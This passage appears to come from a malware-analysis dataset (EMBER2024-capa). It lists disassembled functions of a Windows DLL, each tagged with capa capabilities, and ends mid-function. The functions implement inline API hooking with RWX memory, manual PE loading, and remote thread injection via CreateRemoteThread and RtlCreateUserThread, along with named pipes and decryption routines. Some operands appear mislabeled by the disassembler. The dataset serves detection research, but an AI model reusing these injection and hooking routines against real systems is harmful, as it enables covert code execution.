joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800056c8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbx, r8
lea rax, [r11 + 0x18]
mov r8, rdx
mov qword [r11 - 0x48], rax
mov rsi, r9
mov rdi, rdx
mov rdx, rbx
mov r9d, 5
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
mov byte [rbx + 5], 0xe9
sub eax, ebx
lea rdx, [rsp + 0x30]
sub eax, 5
mov r8d, gethostbyname
mov rcx, rdi
mov dword [rbx + 6], eax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x48]
lea r9, [rsp + 0x54]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x78]
mov rdx, qword [rsp + 0x48]
sub esi, edi
mov rcx, qword [rsp + 0x30]
sub esi, 5
mov dword [rdi + 1], esi
mov byte [rdi], 0xe9
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x48]
or rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180005790
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x18000590c
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, [r13 + 0x144]
mov rdx, rdi
mov r8, rbx
lea r9, [0x180005668]
mov rcx, r13
mov r12, rax
call fcn.1800056c8
mov qword [r13 + 0x190], rbx
lea r9, [0x18000552c]
lea rbx, [r13 + 0x126]
mov rdx, rsi
mov r8, rbx
mov rcx, r13
call fcn.1800056c8
mov qword [r13 + 0x178], rbx
lea r9, [0x1800055ac]
lea rbx, [r13 + 0x130]
mov rdx, rbp
mov r8, rbx
mov rcx, r13
call fcn.1800056c8
mov qword [r13 + 0x180], rbx
lea r9, [0x180005638]
lea rbx, [r13 + 0x13a]
mov rdx, r14
mov r8, rbx
mov rcx, r13
call fcn.1800056c8
mov qword [r13 + 0x188], rbx
lea r9, [0x1800054c0]
lea rbx, [r13 + 0x11c]
mov rdx, r15
mov r8, rbx
mov rcx, r13
call fcn.1800056c8
mov qword [r13 + 0x170], rbx
lea r9, [0x1800056a8]
lea rbx, [r13 + 0x14e]
mov rdx, r12
mov r8, rbx
mov rcx, r13
call fcn.1800056c8
mov qword [r13 + 0x198], rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180005930
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rbx, r8
mov rcx, rdi
lea rdx, [rsp + 0x38]
mov r8d, gethostbyname
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x50]
lea r9, [rsp + 0x5c]
mov rcx, qword [rsp + 0x38]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbx
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov r9d, 5
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x5c]
lea r9, [rsp + 0x98]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x50]
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x1800059d8
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, [0x18002870c]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180005aef
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, r15
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [r13 + 0x144]
mov rdx, rbx
mov rcx, r13
mov r15, rax
call fcn.180005930
lea r8, [r13 + 0x126]
mov rdx, rdi
mov rcx, r13
call fcn.180005930
lea r8, [r13 + 0x130]
mov rdx, rsi
mov rcx, r13
call fcn.180005930
lea r8, [r13 + 0x13a]
mov rdx, rbp
mov rcx, r13
call fcn.180005930
lea r8, [r13 + 0x11c]
mov rdx, r14
mov rcx, r13
call fcn.180005930
lea r8, [r13 + 0x14e]
mov rdx, r15
mov rcx, r13
call fcn.180005930
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x180005b14
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, 0x40
mov ebp, 0x3000
mov r9d, esi
mov r8d, ebp
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180005b79
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x18002870c]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtLockVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180005bce
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
mov qword [rsp + 0x68], rcx
lea r8, [rsp + 0x60]
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov rcx, r15
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx esi, word [rbx + 0x14]
mov ebp, r14d
add rsi, 0x2c
cmp r14w, word [rbx + 6]
jae 0x180005c37
add rsi, rbx
mov r8d, dword [rsi]
mov rcx, r15
mov edx, dword [rsi - 8]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov r9d, dword [rsi - 4]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
lea rsi, [rsi + 0x28]
inc ebp
cmp ebp, eax
jl 0x180005c03
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006144
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x180006175
xor eax, eax
jmp 0x180006215
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
cmp r13, 0x10000
jae 0x1800061be
movzx eax, r13w
sub eax, dword [rcx + 0x10]
jmp 0x1800061e7
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x180006209
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.18001b0d0
test eax, eax
jne 0x1800061f5
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x180006209
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x1800061c5
jmp 0x180006212
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x180006378
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x180006413
test edx, edx
je 0x180006413
mov rdx, r8
call fcn.18000623c
test eax, eax
je 0x180006408
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180006408
call rsi
test rax, rax
je 0x1800063f2
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x180006411
jmp 0x180006415
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800065f0
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x180006612
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
sub r10, 1
jne 0x1800065fb
ret
Function at 0x180006de4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [0x180037e60], 0
mov rbx, rcx
jne 0x180006e0a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x180037e60], rax
mov rcx, rbx
call fcn.180009bbc
cmp dword [rbx + 8], 0xa2a1de0
mov edi, eax
je 0x180006e4d
cmp dword [rbx + 8], 0x56a2b5f0
je 0x180006e44
cmp dword [rbx + 8], 0xea320efe
jne 0x180006e37
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rbx, qword [rsp + 0x30]
mov eax, edi
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x180006ea4
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rsi, r8
mov r12, rdx
mov r13, rcx
lea r8d, [r9 - 4]
xor ebx, ebx
mov rcx, rsi
and qword [rbp - 0x10], rbx
lea rdx, [rsi + 4]
call fcn.1800065f0
lea edx, [rbx + 0x48]
lea ecx, [rbx + 1]
call fcn.180017748
mov rdi, rax
test rax, rax
jne 0x180006ef5
lea ebx, [rax + 8]
jmp 0x18000704c
mov ecx, dword [rsi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r13 + 0xa0]
test rcx, rcx
je 0x180006ffd
cmp dword [rcx + 0x14], ebx
je 0x180006ffd
test eax, eax
je 0x180006ffd
mov ecx, dword [rsi + 0x18]
lea r14, [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r13 + 0xa0]
lea r9, [rbp - 0x10]
sub eax, 0x18
lea r15, [r14 + 0x10]
mov dword [rbp + 0x58], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x180006f61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180007040
mov rcx, qword [rbp - 0x10]
lea r8, [rbp + 0x50]
xor r9d, r9d
mov dword [rbp + 0x50], 1
lea edx, [r9 + 4]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006f54
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
mov r8, r14
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006f54
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], r15
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x180006f54
mov r8d, dword [rbp + 0x58]
test r8, r8
je 0x180006fee
test r14, r14
jne 0x180006fde
call fcn.18001b6d0
mov dword [rax], socket
call fcn.18001b5b0
jmp 0x180006fee
test r15, r15
je 0x180006fcc
mov rdx, r15
mov rcx, r14
call fcn.180015ec0
mov ecx, dword [rbp + 0x58]
add ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsi + 0x18], eax
mov ecx, dword [rsi + 0x18]
mov dword [rdi + 0x18], ecx
mov eax, dword [rsi + 0x1c]
mov dword [rdi + 0x1c], eax
call qword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
mov ecx, eax
mov dword [rdi + 0x28], eax
call fcn.180017740
mov qword [rdi + 0x20], rax
test rax, rax
jne 0x18000702a
lea ebx, [rax + 8]
jmp 0x180007044
mov edx, dword [rdi + 0x28]
lea r8, [rsi + 0x20]
mov r9d, edx
mov rcx, rax
call fcn.180007750
mov qword [r12], rdi
test ebx, ebx
je 0x18000704c
mov rcx, rdi
call fcn.180004264
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x18000705b
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007f0c
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, rcx
mov ebp, reloc.WS2_32.dll_ntohl
mov r14, r9
mov r15, r8
mov esi, edx
lea ecx, [rbp + 0x2a]
call fcn.180017740
mov rbx, rax
test rax, rax
je 0x180008090
xor edx, edx
lea r8d, [rbp + 0x2a]
mov rcx, rax
call fcn.180016580
mov qword [rbx], rdi
lea edx, [rbp - 0xc]
mov rcx, rdi
test esi, esi
je 0x180007f97
call fcn.180006144
mov rcx, qword [rbx]
lea edx, [rbp - 0xb]
mov qword [rbx + 8], rax
call fcn.180006144
mov rcx, qword [rbx]
lea edx, [rbp - 9]
mov qword [rbx + 0x10], rax
call fcn.180006144
mov rcx, qword [rbx]
lea edx, [rbp - 0xa]
mov qword [rbx + 0x18], rax
call fcn.180006144
jmp 0x180007fd3
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 3
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 5
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 4
mov qword [rbx + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x20], rax
mov r8, qword [rbx + 8]
test r8, r8
je 0x18000803e
mov rax, qword [rsp + 0x60]
mov rdx, r15
mov qword [rbx + 0x30], rax
mov rcx, qword [0x1800365e0]
call r8
mov rcx, qword [0x180037e30]
mov ebp, eax
mov qword [rbx + 0x28], rcx
test eax, eax
jne 0x180008036
cmp qword [rbx + 0x18], 0
je 0x180008025
mov rdi, qword [rbx + 0x30]
jmp 0x180008020
mov ecx, dword [rdi]
call qword [rbx + 0x18]
mov rdi, qword [rdi + 0xb8]
test rdi, rdi
jne 0x180008014
mov rcx, qword [0x180037e70]
mov rdx, rbx
call fcn.180005efc
jmp 0x18000803e
mov rcx, rbx
call fcn.180017738
test r14, r14
je 0x180008090
mov rdi, qword [rbx + 0x28]
jmp 0x18000808a
mov r8d, dword [rdi]
mov edx, 0x2000b
mov rcx, r14
call fcn.180004450
mov rax, qword [0x180037e70]
mov rsi, qword [rax]
jmp 0x18000807e
mov rax, qword [rsi + 0x10]
cmp rax, rbx
je 0x18000807b
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x18000807b
mov ecx, dword [rdi]
call rdx
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180008065
mov rdi, qword [rdi + 0xb8]
cmp rdi, qword [rbx + 0x30]
jne 0x180008049
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1800084a8
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov qword [rax - 0x28], rbx
mov r14, rdx
mov dword [rax - 0x30], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rax - 0x38], 1
mov edx, 0x40000000
mov dword [rax + 0x20], ebx
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1800084fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180008534
test edi, edi
je 0x18000852b
mov edx, esi
lea r9, [rsp + 0x78]
add rdx, r14
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000852b
add esi, dword [rsp + 0x78]
sub edi, dword [rsp + 0x78]
jne 0x180008502
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180008638
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [rsp + 0x98]
lea rdi, [r11 - 0x18]
mov ebx, dword [rsp + 0x90]
test rax, rax
mov rsi, r9
mov rbp, r8
cmovne rdi, rax
mov r14, rcx
mov qword [r11 - 0x38], rdi
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x48], r9
mov r9, r8
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x180008762
and qword [rsp + 0x98], 0
cmp dword [0x180037e80], 0
mov rax, qword [0x180037e78]
jne 0x1800086f1
test rax, rax
jne 0x1800086e7
lea rcx, [0x18002870c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037e78], rax
mov dword [0x180037e80], 1
test rax, rax
je 0x180008757
and qword [rsp + 0x48], 0
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rbp
mov rcx, r14
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
shr ebx, 2
and ebx, 1
mov r8d, ebx
call rax
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x180008762
test rdi, rdi
je 0x180008762
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rdi], eax
jmp 0x180008762
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x98]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x180009234
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
xor ebx, ebx
mov rcx, qword [rcx + 0x101c8]
mov esi, ebx
mov ebp, r8d
mov r15, rdx
call fcn.18000ec44
test ebp, ebp
je 0x1800092c0
lea r14, [rdi + 0x20]
mov rcx, qword [rdi + 0x190]
mov r8d, ebp
sub r8d, esi
mov dword [rsp + 0x60], ebx
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rdi + 0x190]
lea r8, [rsp + 0x60]
mov r9d, 1
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x1800092b8
add esi, dword [rsp + 0x60]
cmp esi, ebp
jb 0x18000926d
jmp 0x1800092c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rdi + 0x101c8]
call fcn.18000ec64
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x18000957c
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rsp + 0x70]
xor ebx, ebx
lea rcx, str.SeSecurityPrivilege
lea edx, [rbx + 1]
call fcn.1800094ac
test eax, eax
jne 0x180009614
xor eax, eax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
call fcn.180009308
lea rax, [rsp + 0x40]
mov r9d, 0xff
mov qword [rsp + 0x38], rax
lea rcx, [rdi + 0x40]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov dword [rsp + 0x28], 0x10000
mov edx, 0x40000003
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp dword [rsp + 0x70], ebx
jne 0x180009614
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, str.SeSecurityPrivilege
call fcn.1800094ac
mov rax, qword [rdi + 0x190]
cmp rax, 0xffffffffffffffff
jne 0x180009669
mov qword [rsp + 0x38], rbx
lea rcx, [rdi + 0x40]
mov dword [rsp + 0x30], ebx
mov r9d, 0xff
mov dword [rsp + 0x28], 0x10000
xor r8d, r8d
mov edx, 0x40000003
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp rax, 0xffffffffffffffff
jne 0x180009669
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1800096c1
xor r9d, r9d
xor ecx, ecx
lea edx, [r9 + 1]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x18000965f
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x38], rax
test rax, rax
je 0x18000965f
mov rcx, qword [rdi + 0x18]
lea rax, [0x1800091b0]
lea r9, [0x180008e48]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rdi
call fcn.1800088b0
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x18000a3a8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov rdi, r9
mov dword [rax + 0x18], ebx
mov esi, r8d
mov dword [r9], ebx
mov rbp, rdx
mov r14, rcx
test r8d, r8d
je 0x18000a421
mov eax, ebx
mov r15d, 0x10000
mov rcx, qword [r14 + 8]
lea r9, [rsp + 0x60]
mov r8d, esi
mov edx, eax
sub r8d, eax
mov qword [rsp + 0x20], rbx
cmp r8d, r15d
cmova r8d, r15d
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000a419
mov eax, dword [rsp + 0x60]
add eax, dword [rdi]
mov dword [rdi], eax
cmp eax, esi
jb 0x18000a3e1
jmp 0x18000a421
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x18000aa2c
Capabilities:
Connect pipe
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x60
mov rsi, rdx
lea r8, [rax + 0x18]
mov rdi, rcx
mov edx, 1
lea rcx, str.SeSecurityPrivilege
call fcn.1800094ac
test eax, eax
jne 0x18000aada
xor eax, eax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
call fcn.180009308
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov r9d, 0xff
and dword [rsp + 0x30], 0
mov rcx, rdi
mov dword [rsp + 0x28], 0x10000
lea edx, [r8 + 3]
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [rsp + 0x80], 0
jne 0x18000aad4
lea r8, [rsp + 0x80]
xor edx, edx
lea rcx, str.SeSecurityPrivilege
call fcn.1800094ac
cmp rbx, 0xffffffffffffffff
jne 0x18000ab20
and qword [rsp + 0x38], 0
xor r8d, r8d
and dword [rsp + 0x30], 0
mov r9d, 0xff
mov dword [rsp + 0x28], 0x10000
mov rcx, rdi
mov dword [rsp + 0x20], 0x10000
lea edx, [r8 + 3]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp rbx, 0xffffffffffffffff
jne 0x18000ab20
